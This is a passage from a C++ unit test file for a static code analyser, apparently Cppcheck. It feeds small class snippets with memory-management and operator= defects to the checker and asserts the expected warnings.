'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n 